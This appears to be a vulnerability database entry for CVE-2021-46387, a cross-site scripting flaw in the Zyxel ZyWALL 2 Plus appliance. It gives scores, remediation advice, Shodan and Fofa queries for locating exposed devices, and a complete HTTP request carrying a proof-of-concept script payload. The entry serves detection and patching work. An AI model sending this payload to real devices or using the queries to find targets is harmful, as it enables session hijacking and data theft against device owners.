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CVE-2021-46387: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting

TitleZyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting
AuthorDhiyaneshDk
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.28486
CVE IDCVE-2021-46387
CWE IDCWE-79
Shodan Queryhttp.title:"Zywall2Plus"http.title:"zywall2plus"
Fofa Querytitle="zywall2plus"
Tags cve2021 cve xss zyxel edb vuln

🔍 Vulnerability Description

ZyXEL ZyWALL 2 Plus Internet Security Appliance contains a cross-site scripting vulnerability. Insecure URI handling leads to bypass of security restrictions, which allows an attacker to execute arbitrary JavaScript codes to perform multiple attacks.

🌐 HTTP Request

GET /Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror="prompt(document.domain)"><form> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46387.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-46387.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A